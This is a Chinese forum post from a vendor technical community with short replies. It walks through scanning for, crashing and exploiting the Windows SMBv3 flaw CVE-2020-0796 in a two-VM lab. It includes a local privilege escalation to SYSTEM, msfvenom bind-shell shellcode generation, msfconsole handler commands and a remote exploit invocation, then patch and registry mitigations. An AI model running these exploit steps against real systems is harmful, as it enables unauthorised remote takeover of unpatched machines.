#每日一记#CVE-2020-0796漏洞验证及利用
  

adds 29652人觉得有帮助

{{ttag.title}}
本帖最后由 adds 于 2021-10-21 23:33 编辑


   一、漏洞说明
   在扫描系统漏洞中,发现一代码执行漏洞。
   

   二、漏洞验证
   1、下载验证工具
    可以从github.com上下载
   

   2、验证

    在python环境下执行该命令

  1. python3 cve-2020-0796-scanner.py -t <IP/MASK>
复制代码

   

   显示有漏洞。

   这个漏洞主要使用445端口,可以验证下该主机的445端口监听情况。
   

   反向证明下,如果主机没有开启445端口,那是不是就不存在漏洞了呢?
   在一台没有开启SMB服务的主机上测试,直接拒绝连接。
   

   3、另一种验证方式。
   这个是exe,可直接运行。
   

    下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip;

    三、漏洞利用
    1、蓝屏Poc利用
    使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是kali linux。
    (1)上传poc文件到虚拟机并解压
   

    对端是一台win10 1903的系统,我们先使用验证工具测试下。
   

    刚安装好的新系统是不存在漏洞的,我们配置好共享服务,即创建了一个共享目录。
    再测试就有了。
   

   (2)执行蓝屏PoC

  1. python3 CVE-2020-0796.py <IP>
复制代码
       

    (3)验证
     win10t系统蓝屏。然后自动重启。
         


    如果使用此命令针对目标主机不生效,可以验证下是否目标主机已经打了补丁。
   

    或者使用记事本查看下操作系统的版本是否为可利用的系统版本。
    点击“帮助--关于记事本”就可以查看。也可以直接运行winver来查看。
   

    2、提权PoC验证
    使用一台存在漏洞的win10 1903的系统即可。

    (1)先确认当前系统的用户
     

    (2)执行命令
     直接进入exe的文件目录下,执行exe程序即可。
      

     当出现“success”字眼时,说明程序执行成功。
     然后会弹出一个新的cmd对话框,使用whoami查看用户。可以看到用户权限提升为system。
     



    3、远程利用PoC验证
     使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是kali linux。
     (1)使用msfvenom生成正向连接的python的shellcode
     
  1. msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
复制代码
   
     

    (2)替换exp内容
    将exploit.py里的USER开头的内容去掉
   

    将第一步生成的shellcode的内容复制过来。
   

    将buf使用USER_PAYLOAD替换掉。
   

   此步骤注意不要使用查找替换功能,有可能其他语句里也包含buf字段。

   (3)启动msfconsole设置监听端口
     
  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/bind_tcp
  3. set rhost 114.118.7.103
  4. set lport 3333
  5. run
复制代码

   

   (4)执行exp
   
  1. python3 exploit.py -ip 114.118.7.103
复制代码

        

    (5)观察回显
      执行完步骤3的run命令或exploit命令后等待步骤执行,观察回显。
     

    此时,会弹出meterpreter的窗口,可以执行相关的命令,如ifconfig、pwd等等。
   

     下载链接:https://github.com/chompie1337/SMBGhost_RCE_PoC.git



   四、漏洞修复
    1、打补丁。
     先检查是否有打补丁。

  1. systeminfo | findstr KB4551762
复制代码

      

      如使用如上检测方式检测判断存在漏洞,可以手动下载补丁进行安装:补丁链接链接        https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

    2、修改注册表
    右键点击桌面左下角的Windows图标,在弹出菜单中选择“运行”菜单项,在弹出的运行框中输入regedit,打开注册表编辑器。在“HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters”目录中添加一个DWORD类型的注册表项DisableCompression ,数值为1。如需撤销禁用SMBv3压缩功能,将该注册表项数值修改为0或删除注册表项即可。注:利用以上方法进行更改后,无需重启即可生效;以上缓解措施仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。


    五、注意
    1、下载的PoC文件没有提权的exe如何处理?
     在进行PoC本地提权测试时,发现下载的PoC里没有exe程序。
     翻了数十篇文章,几乎千篇一律,然后在一篇文章的小字里发现,下载的sln需要编译成exe的。
     
     然后又百度如何将sln编译成exe,需要通过visual studio来实现,下载安装visual studio生成exe程序,就会在sln文件下生成一个x64的目录。
     

       很多东西看着简单,但初次做起来很难,就是照着文档配置都会出错的那种,不是坑的地方自己都能踩出坑来。我太难了。

    (2)想要进入msfconsole模式,只需要敲这个命令就好。但不会的时候就是不知道咋进,都是泪。
     

    meterpreter网络释义后门服务的意思。


   五、参考资料

打赏鼓励作者,期待更多好文!

打赏
34人已打赏

平凡的小网工 发表于 2021-10-23 11:01
  
我在社区摸爬滚打这么多年,所谓阅人无数,就算没有见过猪走路,也总明白猪肉是啥味道的。一看到楼主的气势,我就觉得楼主同在社区里灌水的那帮小混子有着本质的差别,你一定就是传说中的最强技术牛。
zwangxin 发表于 2021-10-23 13:38
  
这个好像很多Windows 并没有这个补丁。有没替代补丁。
好心情 发表于 2021-10-25 21:00
  
楼主写的非常详细哦,继续加油。
95Z7 发表于 2021-10-26 08:26
  
每日打卡!!!!!!!!
飞翔的苹果 发表于 2021-10-26 08:32
  
感谢分享,有助于工作,学习学习
新手144553 发表于 2021-10-26 09:44
  
每日打卡!!!!!!!!
新手301809 发表于 2021-10-26 09:52
  
感谢分享,学习一下!
新手006478 发表于 2021-10-26 10:04
  
感谢分享,学习一下!
feeling 发表于 2021-10-27 21:09
  
你一定就是传说中的最强技术牛
发表新帖
热门标签
全部标签>
每日一问
技术笔记
功能体验
技术咨询
新版本体验
2023技术争霸赛专题
干货满满
技术盲盒
标准化排查
产品连连看
GIF动图学习
技术晨报
信服课堂视频
安装部署配置
自助服务平台操作指引
运维工具
秒懂零信任
每日一记
用户认证
通用技术
安全攻防
答题自测
云计算知识
SDP百科
设备维护
深信服技术支持平台
畅聊IT
sangfor周刊
资源访问
排障笔记本
社区帮助指南
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
上网策略
测试报告
日志审计
问题分析处理
流量管理
原创分享
解决方案
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
迁移
地址转换
虚拟机
存储
加速技术
产品预警公告
玩转零信任
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选

本版版主

396
135
63

发帖

粉丝

关注

本版达人

新手61940...

本周建议达人

BGP网络

本周分享达人

BGP网络

本周提问达人